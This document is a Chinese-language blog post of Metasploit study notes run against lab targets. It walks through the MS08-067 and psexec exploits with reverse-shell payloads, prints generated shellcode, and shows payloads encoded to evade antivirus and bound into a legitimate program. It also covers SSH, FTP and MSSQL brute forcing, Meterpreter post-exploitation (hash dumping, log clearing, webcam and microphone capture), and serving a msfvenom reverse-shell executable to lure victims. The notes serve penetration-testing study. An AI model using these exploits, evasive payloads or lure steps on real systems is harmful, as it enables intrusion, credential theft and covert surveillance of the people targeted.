zoukankan      html  css  js  c++  java
  • msf学习笔记

    metasploit frame

    这是一个渗透测试框架,围绕这个框架,我们就可以完成最终的目标,即渗透测试。
    渗透测试者困扰:需要掌握数百个工具,上千条命令参数,很难记住。 新出现的漏洞PoC/EXP有不同的运行环境要求,准备工作繁琐。 大部分时间都在学习不同工具的使用习惯,如果能统一就好了。
    MSF默认集成在Kali linux之中,使用postgresql数据库存储数据。
    MSF::Core:最底层的库,提供Msf的核心基本API,是框架的核心能力实现库。
    MSF::Base:基于Core库,具有便于上层用户实现, 提供友好的API接口,便于模块调用的库。
    MSF::UI:面向用户的接口,用户界面,包括了Driver界面,console界面,CLI界面,web界面,GUI界面,和Armitage界面。
    Plugin插件:连接和调用外部扩展功能和系统。
    如果渗透测试过程当中数据库被打乱,那么此时我们可以使用msfdb进行一些回复删除等操作。

    root@kali:~# msfdb                                                                                                                                                         
                                                                                                                                                                              
    Manage the metasploit framework database                                                                                                                                  
                                                                                                                                                                              
      msfdb init     # start and initialize the database                                                                                                                      
      msfdb reinit   # delete and reinitialize the database                                                                                                                   
      msfdb delete   # delete database and stop using it                                                                                                                      
      msfdb start    # start the database                                                                                                                                     
      msfdb stop     # stop the database                                                                                                                                      
      msfdb status   # check service status                                                                                                                                   
      msfdb run      # start the database and run msfconsole 
    

    这里我们能够查看到具体的msf模块

    root@kali:/usr/share/metasploit-framework/modules# ls
    auxiliary  encoders  evasion  exploits  nops  payloads  post
    

    技术功能模块:(不是流程模块)
    -Exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动)
    - Payload:成功exploit之后,真正的在目标系统执行的代码或指令。
    1. shellcode或系统命令
    2. 三种Payload:/usr/share/metasploit-framework/modules/payloads/
    3. single:all-in-one一体化,只要有这段代码就能执行shell的全部功能,但体积较大。
    4. stager:目标计算机内存有限时,线传输一个较小的payload用于建立连接,体积较小
    5. stages:利用stager建立的链接下载的后续payload
    6. Stager,Stages都有多种类型,适用于不同场景
    7. Shellcode是payload的一种,由于其建立正向/反向shell而得名。 技术功能模块:
    - Auxiliary:执行信息搜集,枚举,指纹探测,扫描等功能的辅助模块(没有payload的exploit模块)
    - Encoders:对payload进行加密,躲避AV检查的模块。
    - Nops:提高payload稳定性及维持大小。

    msf基本使用和控制台命令

    msfconsole使用界面:点击图标或者终端输入msfconsole
    - 最流行用户接口
    - 几乎可以使用全部的MSF功能
    - 控制台支持TAB自动补齐
    - 支持外部命令的执行
    - 使用help查看帮助信息
    MSF控制台命令
    Banner,Color,connect -h

    connect命令
    msf5 > connect 192.168.214.148 80
    [*] Connected to 192.168.214.148:80
    get /Metasploitable2 - Linux
    
    
                    _                  _       _ _        _     _      ____  
     _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___  
    | '_ ` _  / _  __/ _` / __| '_ | |/ _ | | __/ _` | '_ | |/ _  __) |
    | | | | | |  __/ || (_| \__  |_) | | (_) | | || (_| | |_) | |  __// __/ 
    |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                                |_|                                          
    
    
    Warning: Never expose this VM to an untrusted network!
    
    Contact: msfdev[at]metasploit.com
    
    Login with msfadmin/msfadmin to get started
    show

    show命令分为

    msf5 > show 
    show all        show auxiliary  show encoders   show exploits   show nops       show options    show payloads   show plugins    show post    
    

    可以帮助我们了解有哪些命令可以使用如何使用。

    search

    方便我们快速查找一些漏洞或模块:例如search name:mysql/path:scada/platform:aix/type:aux/cve:2011/author:aaron
    我们查找一个ms08-067这个漏洞

    msf5 > search ms08-067
    
    Matching Modules
    ================
    
       #  Name                                 Disclosure Date  Rank   Check  Description
       -  ----                                 ---------------  ----   -----  -----------
       0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
    
    use

    我们使用一个很具体的漏洞模块的时候,我们使用use,例如use exploit/windows/smb/ms08067netapi。
    进入一个具体的模块之后:我们可以show options/payloads/targets/advanced/evasion,-info edit,check,back.

    msfdb

    当我们的数据库模块未被启动起来的时候,我们可以先查看数据库状态,湍口是5432,然后启动数据库,msfdb start 未有效的话再启动service postgresql start然后在查看数据库当前状态。

    db_connect //连接数据库       db_disconnect //断开数据库连接    db_export         db_import         db_nmap  //集成在msf的nmap扫描命令         db_rebuild_cache  db_remove         db_save           db_status//db状态 

    我们想要进行数据库连接:db_connect -y 数据库路径,后续我们的道德结果都可以被保存在数据库当中。
    进行nmap扫描后如果我们只想要看到某一台主机的单个信息我们可以使用hosts参数即hosts
    我们只想要看到一些up状态的主机,我们可以加上-u参数,即hosts -u
    我们只想要看某一列的信息:hosts -c 列名//我们也可以加上S参数即search。
    service -p 端口号 / services -c 列名 -p端口号,当然端口号也可以指定范围。

     
    msf5 > services -c port,state -p 1-100
    Services
    ========
    
    host             port  state
    ----             ----  -----
    192.168.214.148  21    open
    192.168.214.148  22    open
    192.168.214.148  23    open
    192.168.214.148  25    open
    192.168.214.148  53    open
    192.168.214.148  80    open
    

    vulns可用的载荷 / creds (mysql_login)显示用户账号密码/loot(hashdump)获取hash值

    msf5 auxiliary(scanner/mysql/mysql_login) > creds
    Credentials
    ===========
    
    host             origin           service           public  private  realm  private_type    JtR Format
    ----             ------           -------           ------  -------  -----  ------------    ----------
    192.168.214.148  192.168.214.148  3306/tcp (mysql)  root                    Blank password  
    
    msf5 auxiliary(scanner/mysql/mysql_login) > loot
    
    Loot
    ====
    
    host  service  type  name  content  info  path
    ----  -------  ----  ----  -------  ----  ----
    
    msf5 auxiliary(scanner/mysql/mysql_login) > vulns
    
    Vulnerabilities
    ===============
    
    Timestamp  Host  Name  References
    ---------  ----  ----  ----------
    
    

    默认数据存放位置:/usr/share/metasploit-framework/config/database.yml 数据库的导入与导出:dbexport/dbinport nmap -A 192.168.214.148 -oX nmap.xml,这里的xml文件是可以导入db_import /root/nmap.xml.
    set/unset/setg/unsetg/:unset取消set的设置,setg全局变量的设置只要模块里有这个参数那么所设置的值就是这个setg的数。 save:我们可以进行保存,保存好之后有具体的文件保存路径,只要删去那么就 run/exploit:两个命令相差不多,都是执行一个具体模块。

    使用ms08067对xp机器进行攻击

    search ms08-067
    use exploit/windows/smb/ms08067netapi 使用模块
    show options:此时可以设置rhost等参数
    set rhost 192.168.214.148
    set target 34 指定目标系统类型是34,这个我们可以使用show targets进行查看
    show payloads 查看可选的payload
    set payload windows/shell/reverse_tcp选择payload
    show options:此时我们可以看到payloads选项
    set lhost 192.168.214.150 :设置反弹shell反弹回本机的ip地址
    exploit/run进行执行

    Session

    session -l /-i(shell,meterpreter session,VNC)

    load,unload,loadpath

    前两者加入组件,loadpath可以添加我们自己创建的组件。

    route

    route可以通过指定session路由流量,实现路由,我们渗透进内网获取了一个session,将我们已经控制的机器作为跳板。
    route add 10.1.1.0//目标网络 255.255.255.0//子网掩码 4//session号,这样凡是我们向子网发送的流量都通过这个session建立的连接想内网扩散。

    resource

    我们有的时候觉得一个一个输入命令很麻烦,但我们可以将所有的指令都放入到一个文件中,我们在msf中调用这个文件就自动的实现文件当中的命令。
    msfconsole -r r.rc

    exploit模块

    exploit模块可以分成两个大类,分别为Active exploit 和 passive exploit.通过漏洞利用代码如何被触发来进行分类的。
    前者攻击方主动将漏洞利用代码发给服务端侦听端口后者利用了一些客户端程序上的漏洞如浏览器漏洞进行漏洞,在passive漏洞一般我们都需要去诱使用户去访问点击,因为客户端是不提供服务的,一般也就没有端口开放,不想服务端,这样我们就无法使用第一个主动模块进行攻击。
    - use exploit/windows/browser/aniloadimagechunksize
    - set URIPPATH/
    - set PAYLOAD windows/shell/reversetcp
    - set LHOST 192.168.1.1
    - set LPORT 4444
    - exploit
    Active explolit
    - use exploit/windows/smb/psexec
    - set RHOST 192.168.1.100
    - set PAYLOAD windlws/shell/reverse
    tcp
    - set LHOST 192.168.1.1
    - set LPORT 4444
    - set SMBUSER user1
    - set SMBPASS pass1
    - exploit

    生成payload

    有的时候我们的payload在程序中会因为坏字符的存在无法运行成功或者是他的功能发生了变化。

    msf5 > use payload/windows/shell/bind_tcp    //使用payload
    msf5 payload(windows/shell/bind_tcp) > generate   //生成payload
    # windows/shell/bind_tcp - 285 bytes (stage 1)
    # https://metasploit.com/
    # VERBOSE=false, LPORT=4444, RHOST=, PingbackRetries=0, 
    # PingbackSleep=30, PayloadUUIDTracking=false, 
    # EnableStageEncoding=false, StageEncoderSaveRegisters=, 
    # StageEncodingFallback=true, PrependMigrate=false, 
    # EXITFUNC=process, CreateSession=true
    buf = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50" +
    "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" +
    "x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7" +
    "xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78" +
    "xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3" +
    "x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01" +
    "xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58" +
    "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3" +
    "x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5a" +
    "x51xffxe0x5fx5fx5ax8bx12xebx8dx5dx68x33x32" +
    "x00x00x68x77x73x32x5fx54x68x4cx77x26x07xff" +
    "xd5xb8x90x01x00x00x29xc4x54x50x68x29x80x6b" +
    "x00xffxd5x6ax0bx59x50xe2xfdx6ax01x6ax02x68" +
    "xeax0fxdfxe0xffxd5x97x68x02x00x11x5cx89xe6" +
    "x6ax10x56x57x68xc2xdbx37x67xffxd5x57x68xb7" +
    "xe9x38xffxffxd5x57x68x74xecx3bxe1xffxd5x57" +
    "x97x68x75x6ex4dx61xffxd5x6ax00x6ax04x56x57" +
    "x68x02xd9xc8x5fxffxd5x8bx36x6ax40x68x00x10" +
    "x00x00x56x6ax00x68x58xa4x53xe5xffxd5x93x53" +
    "x6ax00x56x53x57x68x02xd9xc8x5fxffxd5x01xc3" +
    "x29xc6x75xeexc3"
    
    # windows/shell/bind_tcp - 240 bytes (stage 2)
    # https://metasploit.com/
    buf = 
    "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52" +
    "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" +
    "x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0d" +
    "x01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0" +
    "x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b" +
    "x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xff" +
    "x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7d" +
    "xf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8b" +
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44" +
    "x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8b" +
    "x12xebx86x5dx68x63x6dx64x00x89xe3x57x57x57" +
    "x31xf6x6ax12x59x56xe2xfdx66xc7x44x24x3cx01" +
    "x01x8dx44x24x10xc6x00x44x54x50x56x56x56x46" +
    "x56x4ex56x56x53x56x68x79xccx3fx86xffxd5x89" +
    "xe0x4ex56x46xffx30x68x08x87x1dx60xffxd5xbb" +
    "xf0xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7c" +
    "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53" +
    "xffxd5"
    msf5 payload(windows/shell/bind_tcp) > generate -b 'x00'   //过滤掉坏字符'x00'可以看到此时我们使用了# Encoder: x86/shikata_ga_nai这个模块
    # windows/shell/bind_tcp - 312 bytes (stage 1)
    # https://metasploit.com/
    # Encoder: x86/shikata_ga_nai
    # VERBOSE=false, LPORT=4444, RHOST=, PingbackRetries=0, 
    # PingbackSleep=30, PayloadUUIDTracking=false, 
    # EnableStageEncoding=false, StageEncoderSaveRegisters=, 
    # StageEncodingFallback=true, PrependMigrate=false, 
    # EXITFUNC=process, CreateSession=true
    buf = 
    "xddxc6xd9x74x24xf4x5bxb8x22xfdx0cx07x2bxc9" +
    "xb1x48x83xc3x04x31x43x14x03x43x36x1fxf9xfb" +
    "xdex5dx02x04x1ex02x8axe1x2fx02xe8x62x1fxb2" +
    "x7ax26x93x39x2exd3x20x4fxe7xd4x81xfaxd1xdb" +
    "x12x56x21x7dx90xa5x76x5dxa9x65x8bx9cxeex98" +
    "x66xccxa7xd7xd5xe1xccxa2xe5x8ax9ex23x6ex6e" +
    "x56x45x5fx21xedx1cx7fxc3x22x15x36xdbx27x10" +
    "x80x50x93xeex13xb1xeax0fxbfxfcxc3xfdxc1x39" +
    "xe3x1dxb4x33x10xa3xcfx87x6bx7fx45x1cxcbxf4" +
    "xfdxf8xeaxd9x98x8bxe0x96xefxd4xe4x29x23x6f" +
    "x10xa1xc2xa0x91xf1xe0x64xfaxa2x89x3dxa6x05" +
    "xb5x5ex09xf9x13x14xa7xeex29x77xafxc3x03x88" +
    "x2fx4cx13xfbx1dxd3x8fx93x2dx9cx09x63x52xb7" +
    "xeexfbxadx38x0fxd5x69x6cx5fx4dx58x0dx34x8d" +
    "x65xd8xa1x86xc0xb3xd7x64x98x32x72x95x34xdf" +
    "x8dx46x24xe0x47xefxccx1dx68x01x50xabx8ex4b" +
    "x78xfdx19xe4xbaxdax91x93xc5x08x8ax33x8ex5a" +
    "x0dx3bx0fx49x39xabx9bx9exfdxcax9cx8ax55x9a" +
    "x0ax40x34xe9xabx55x1dx9bx2bxc0x9ax0ax7cx7c" +
    "xa1x6bx4ax23x5ax5exc1xeaxcex21xbdx12x1fxa2" +
    "x3dx45x75xa2x55x31x2dxf1x40x3exf8x65xd9xab" +
    "x03xdcx8ex7cx6cxe2xe9x4bx33x1dxdcx4dx0fxc8" +
    "x18x38x61xc8"
    
    # windows/shell/bind_tcp - 240 bytes (stage 2)
    # https://metasploit.com/
    buf = 
    "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52" +
    "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" +
    "x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0d" +
    "x01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0" +
    "x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b" +
    "x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xff" +
    "x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7d" +
    "xf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8b" +
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44" +
    "x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8b" +
    "x12xebx86x5dx68x63x6dx64x00x89xe3x57x57x57" +
    "x31xf6x6ax12x59x56xe2xfdx66xc7x44x24x3cx01" +
    "x01x8dx44x24x10xc6x00x44x54x50x56x56x56x46" +
    "x56x4ex56x56x53x56x68x79xccx3fx86xffxd5x89" +
    "xe0x4ex56x46xffx30x68x08x87x1dx60xffxd5xbb" +
    "xf0xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7c" +
    "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53" +
    "xffxd5"
    

    generate -e x86/nonalpha ,此处-e参数指定了编码器x86/nonalpha
    - i 加密几次,跟我们在使用免杀时-i参数的意义是一样的。
    - f 输出payload的格式,默认为16进制,我们可以制定其类型为exe等。
    -k 运行过程中不会产生新的进程,只会产生新的进程,隐蔽性更高。
    -x 在生成payload时使用一个正常程序作为模板,将他们两个绑定到一起,同事正常的程序也能执行 -o 输出文件路径名字
    generate -b 'x00' -e x86/shikataganai -i 5 -k -x /usr/share/windows-binaries/radmin.exe

    msf5 payload(windows/shell/bind_tcp) > generate -b 'x00xff' -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o /root/1.exe
    [*] Writing 1319936 bytes to /root/1.exe...
    
    Meterpreter
    • 高级,动态,可拓展的payload
    • 基于meterpreter上下文利用更多漏洞发起攻击
    • 后渗透测试阶段一站式操作界面
      完全基于内存的DLL注入式payload(不写硬盘)
    • 注入合法系统进程并建立stager
    • 基于Stager上传和预加载DLL进行扩展模块的注入
    • 利用stager建立的socket连接建立加密的TSL/1.0通信隧道
    • 利用TSL隧道进一步加载后续扩展模块
    meterpreter基本命令

    我们继续利用meterpreter类型的shell,使用ms08-067这个模块。
    此时我们就进入了meterpreter的shell,这里有大量的命令。
    help:查看当前shell下的命令
    background:回到之前的界面,也就是从meterpreter返回到msf。
    pwd:进入到当前window系统上的工作目录
    dir,ls:都可以先输出当前稳健的目录以及其操作权限。
    cat:查看文档,例如我们可以cat boot.ini这个是引导目录如果我们删除了那么就无法开机了。
    mkdir:创建一个目录
    mv,rm:改名,删除。
    edit:编辑文件,类似于我们在linux的vi
    lpwd:查看当前所在目录(本机的 )
    lcd:进入当当前linux的目录,我们想要上传某个文件的时候,我们使用lcd切换脑本机的那个目录。
    run,bgrun:运行程序命令,前者是在前台进行,后者在后台进行,我们可以运行很多进程,bgrun + 两下 TAB键进行补全查看所有可以运行模块。
    clearev:清除目标系统的日志,用来清理战场的。
    download:下载指令,从目标系统下载文件。
    upload:上传指令
    execute -f cmd.exe
    get uid:查看当前用户权限
    getsystem:将自己权限提升为system。
    getproxy:获取到目标主机的代理信息。
    ps:查看进程
    migrete:进程迁移
    getpid:查看当前进程pid
    hashdump:获取到hashdump
    sysinfo:查看系统一些信息
    kill:删除进程
    netstat:查看网络连接状态
    idletime:目标操作系统空闲时间。
    resource:
    recordmic:记录麦克风声音
    webcam
    list:列出当前电脑上所有连接的摄像头。

    Meterpreter python扩展

    无需运行环境,在客户端运行原生的python代码。

    msfcli

    2015年已经被取消。由msfconsole -x代替,编写脚本的时候便于引用,例如下面这一串代码
    msfconsole -x "use exploir/windows/smb/ms08-067netapi;set RHOST 1.1.1.1;set PAYLOAD windows/meterpreter/reversetcp;set LJOST 1.1.1.8;set LPORT 4444;set target 34 ;exploit"

    msf信息发现与端口扫描

    我们扫描主要由auxiliary进行完成,因为他不会向目标发送payload。
    nmap扫描:dbnmap -sV1 192.168.214.148
    Auxiliary扫描模块:
    此时我们同模块一样,可以使用RHOSTS来进行表示目标主机,支持2多主机段扫描: 192.168.1.20-192.168.1.30 或 192.168.1.0/24,192.168.11.0/24
    msf当中穿在arp的扫描模块:use auxiliary/scanner/discovery/arp
    sweep
    端口扫描:search portscan:use auxiliary/scanner/portscan/syn
    UDP扫描:use auxiliary/scanner/discover/udpsweep;use auxiliary/scanner/discover/udpprobe
    Nmap IPID idle扫描:查找ipidseq主机:use auxiliary/scanner/ip/ipidseq或nmap -PN -sl 1.1.1.2 1.1.1.3//前者僵尸机后者是目标。

    密码嗅探
    • use auxiliary/sniffer/psnuffle
    • 直接run那么就是实时抓包模式,嗅探到密码
      此时我们对靶机的21端口进行扫描发现开放,进行连接
    root@kali:~# nmap -p21 192.168.214.148
    Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 14:06 CST                                                                                            
    Nmap scan report for 192.168.214.148                                                                                                                       
    Host is up (0.00042s latency).                                                                                                                             
                                                                                                                                                               
    PORT   STATE SERVICE                                                                                                                                       
    21/tcp open  ftp                                                                                                                                           
    MAC Address: 00:0C:29:29:2C:AE (VMware)                                                                                                                    
                                                                                                                                                               
    Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds                                                                                                
    root@kali:~# ftp 192.168.214.148
    Connected to 192.168.214.148.                                                                                                                              
    220 (vsFTPd 2.3.4)                                                                                                                                         
    Name (192.168.214.148:root): user1                                                                                                                         
    331 Please specify the password.                                                                                                                           
    Password:                                                                                                                                                  
    530 Login incorrect.                                                                                                                                       
    Login failed. 
    

    这个时候我们在看到msf,可以看到账户密码了

    msf5 auxiliary(sniffer/psnuffle) > [*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
    [*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb...
    [*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
    [*] Sniffing traffic.....
    [!] *** auxiliary/sniffer/psnuffle is still calling the deprecated report_auth_info method! This needs to be updated!
    [!] *** For detailed information about LoginScanners and the Credentials objects see:
    [!]      https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners
    [!]      https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module
    [!] *** For examples of modules converted to just report credentials without report_auth_info, see:
    [!]      https://github.com/rapid7/metasploit-framework/pull/5376
    [!]      https://github.com/rapid7/metasploit-framework/pull/5377
    [*] Failed FTP Login: 192.168.214.150:52060-192.168.214.148:21 >> user1 / 333
    

    如果我们已经有抓包好的文件,我们使用pcapfile进行分析
    set PCAPFILE /root/ftp.pcap

    snmp扫描

    msf5 auxiliary(sniffer/psnuffle) > use auxiliary/scanner/snmp/snmplogin暴力破解
    msf5 > use auxiliary/scanner/snmp/snmp
    enum枚举线程
    msf5 > use auxiliary/scanner/snmp/snmp_——enumusers

    SMB服务扫描

    SMB版本扫描:msf5 auxiliary(scanner/snmp/snmp_enum) > use auxiliary/scanner/smb/smb

    msf5 auxiliary(scanner/smb/smb_version) > run
    
    [*] 192.168.214.148:445   - Host could not be identified: Unix (Samba 3.0.20-Debian)
    [*] 192.168.214.148:445   - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    

    扫描命名管道,判断SMB服务类型:获取到命令管道

    msf5 auxiliary(scanner/smb/pipe_auditor) > set rhosts 192.168.214.148                                                                                      
    rhosts => 192.168.214.148                                                                                                                                  
    msf5 auxiliary(scanner/smb/pipe_auditor) > run                                                                                                             
                                                                                                                                                               
    [+] 192.168.214.148:139   - Pipes: 
    etlogon, lsarpc, samr, eventlog, lsass, 
    tsvcs, srvsvc, wkssvc                                                 
    [*] 192.168.214.148:      - Scanned 1 of 1 hosts (100% complete)                                                                                           
    [*] Auxiliary module execution completed                         

    SMB共享枚举(账号密码):msf5 auxiliary(scanner/smb/pipeauditor) > use auxiliary/scanner/smb/smbenumshares
    用户枚举:use auxiliary/scanner/smb/smbenumusers
    SID枚举:use auxiliary/scanner/smb/smb
    lookupsid

    ssh

    版本扫描:msf5 > use auxiliary/scanner/ssh/sshversion
    公钥登录:use auxiliaryscanner/ssh/ssh
    loginpubkey
    set keyfile idrsa;set username root ;run
    暴力破解:msf5 auxiliary(scanner/ssh/ssh
    version) > use auxiliary/scanner/ssh/sshlogin;set rhosts 192.168.214.148;set USERPASSFILE /root/3.txt;set verbose true

    msf5 auxiliary(scanner/ssh/ssh_login) > show options 
    
    Module options (auxiliary/scanner/ssh/ssh_login):
    
       Name              Current Setting  Required  Description
       ----              ---------------  --------  -----------
       BLANK_PASSWORDS   false            no        Try blank passwords for all users
       BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
       DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
       DB_ALL_PASS       false            no        Add all passwords in the current database to the list
       DB_ALL_USERS      false            no        Add all users in the current database to the list
       PASSWORD                           no        A specific password to authenticate with
       PASS_FILE                          no        File containing passwords, one per line
       RHOSTS            192.168.214.148  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT             22               yes       The target port
       STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
       THREADS           1                yes       The number of concurrent threads (max one per host)
       USERNAME                           no        A specific username to authenticate as
       USERPASS_FILE     /root/3.txt      no        File containing users and passwords separated by space, one pair per line
       USER_AS_PASS      false            no        Try the username as the password for all users
       USER_FILE                          no        File containing usernames, one per line
       VERBOSE           true             yes       Whether to print output for all attempts
    
    msf5 auxiliary(scanner/ssh/ssh_login) > run
    
    [-] 192.168.214.148:22 - Failed: 'root:root'
    [-] 192.168.214.148:22 - Failed: 'root:2233'
    [+] 192.168.214.148:22 - Success: 'msfadmin:msfadmin' ''
    [*] Command shell session 1 opened (192.168.214.150:40163 -> 192.168.214.148:22) at 2020-02-28 16:40:36 +0800
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    
    

    于此我们已经成功登陆了。

    系统补丁

    windows缺少的补丁 - 基于已经获得的session进行检测 - use post/windows/gather/enum_patches

    msf mysql扫描端口,查看数据库的tcp端口
    • TCP 1433(动态端口)/UDP 14343 (查询TCP端口号)
    • use auxiliary/scanner/mssqk/mssql_ping
    • 通过这个模块我们可以获得mssql服务的tcp端口
    爆破mssql密码

    -use auxiliary/scanner/mssqk/mssql_login - 设置主机,用户,以及密码文件

    远程登录

    set RHOST / set PASSWORD / set RPORT 此时我们连接上这个数据库我们可以执行操作系统命令或cmd命令 远程执行代码:use auxiliary/admin/mssql/mssql_exec set CMD net user user pass /ADDS

    FTP版本扫描

    use auxiliary/scanner/ftp/ftpversion //探测版本 use auxiliary/scanner/ftp/anonymous //是否支持匿名登录 use auxiliary/scanner/ftp/ftplogin use auxiliary/scanner/[tab] - display all 479 possibilities

    弱点扫描
    • 根据搜集结果搜索漏洞利用模块
    • 结合外部漏洞扫描系统对大IP地址段进行批量扫描
    • 误判率,错判率
    vnc密码破解

    use auxiliary/scanner/vnc/vnc_login

    msf5 auxiliary(scanner/ftp/ftp_login) > run
    
    [*] 192.168.214.148:21    - 192.168.214.148:21 - Starting FTP login sweep
    [-] 192.168.214.148:21    - 192.168.214.148:21 - LOGIN FAILED: root:root (Incorrect: )
    [-] 192.168.214.148:21    - 192.168.214.148:21 - LOGIN FAILED: root:2233 (Incorrect: )
    [+] 192.168.214.148:21    - 192.168.214.148:21 - Login Successful: msfadmin:msfadmin
    [*] 192.168.214.148:21    - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    
    

    RDP远程桌面漏洞 use auxiliary/scanner/rdp/ms12020check 检查不会造成DoS攻击

    设备后门

    use auxiliary/scanner/ssh/juniperbackdoor use auxiliary/scanner/ssh/fortinetbackdoor 暴力破解得到密码可以利用web appi远程开启 use auxiliary/admin/vmware/poweron_vm//我们拿到相应密码漏洞,我们可以对服务进行各种操作(admin模块)

    HTTP扫描

    证书是否过期: use auxiliary/scanner/http/cert 显示目录及文件: use auxiliary/scanner/http/filesdir;use auxiliary/scanner/http/filesdir TOMCAT管理登录:use auxiliary/scanner/http/tomcatmgrlogin 基于HTTP方法的身份验证绕过:use auxiliary/scanner/http/verbauthbypass WEBDAV Unicode编码身份验证绕过:use auxiliary/scanner/http/dirwebdavunicode_bypass wordpress密码爆破:use auxiliary/scanner/http/wordpressloginenum;set URL/wordpress/wp-login.php

    msf5 auxiliary(scanner/http/dir_listing) > show options 
    
    Module options (auxiliary/scanner/http/dir_listing):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       PATH     dav              yes       The path to identify directory listing
       Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS   192.168.214.148  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT    80               yes       The target port (TCP)
       SSL      false            no        Negotiate SSL/TLS for outgoing connections
       THREADS  1                yes       The number of concurrent threads (max one per host)
       VHOST                     no        HTTP server virtual host
    
    msf5 auxiliary(scanner/http/dir_listing) > run
    
    [+] Found Directory Listing http://192.168.214.148:80/dav/
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    
    

    WMAP WEB应用扫描器 - 根据sqlmap工作方式开发 - load wmap - wmapsites -a http://1.1.1.1 - wmaptargets -t http://1.1.1.1/mutillidae/index.php - weaprun -t - wmaprun -e

    弱点扫描

    openvas:load openvas此处为命令行格式;导入nbe格式扫描日志;dbimport openvas.nbe nessus: msf5 > load nessus msf5 > nessushelp msf5 > nessus_connect nessus:nessus@127.0.0.1//进行连接 查看已有策略

    msf5 > nessus_policy_list 
    Policy ID  Name             Policy UUID
    ---------  ----             -----------
    7          linux_vuln_scan  ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66
    

    创建扫描任务msf5 > nessusscannew ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 scan1 scan1 192.168.214.148 执行扫描任务:nessusscanlaunch scan-id 查看报告:nessusreportlist

    MSF客户端渗透

    在无法突破网络便捷饿的情况下转而攻击客户端 - 社会工程学攻击 - 进而渗透线上业务网络 - 含有漏洞代码的web站点 - - 利用客户端漏洞 含有漏洞利用代码的DOC,PDF等文档 诱骗被害者执行payload:

    1. root@kali:/etc/init.d# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.214.150 LPORT=4444 -b 'x00' -e x86/shikata_ga_nai -i 9 -f exe -o 2.exe
    Found 1 compatible encoders
    Attempting to encode payload with 9 iterations of x86/shikata_ga_nai
    x86/shikata_ga_nai succeeded with size 368 (iteration=0)
    x86/shikata_ga_nai succeeded with size 395 (iteration=1)
    x86/shikata_ga_nai succeeded with size 422 (iteration=2)
    x86/shikata_ga_nai succeeded with size 449 (iteration=3)
    x86/shikata_ga_nai succeeded with size 476 (iteration=4)
    x86/shikata_ga_nai succeeded with size 503 (iteration=5)
    x86/shikata_ga_nai succeeded with size 530 (iteration=6)
    x86/shikata_ga_nai succeeded with size 557 (iteration=7)
    x86/shikata_ga_nai succeeded with size 584 (iteration=8)
    x86/shikata_ga_nai chosen with final size 584
    Payload size: 584 bytes
    Final size of exe file: 73802 bytes
    Saved as: 2.exe
    
    
    2. root@kali:~# cp 2.exe /var/www/html/
    //拷贝到网站目录下
    3. root@kali:~# service apache2 start
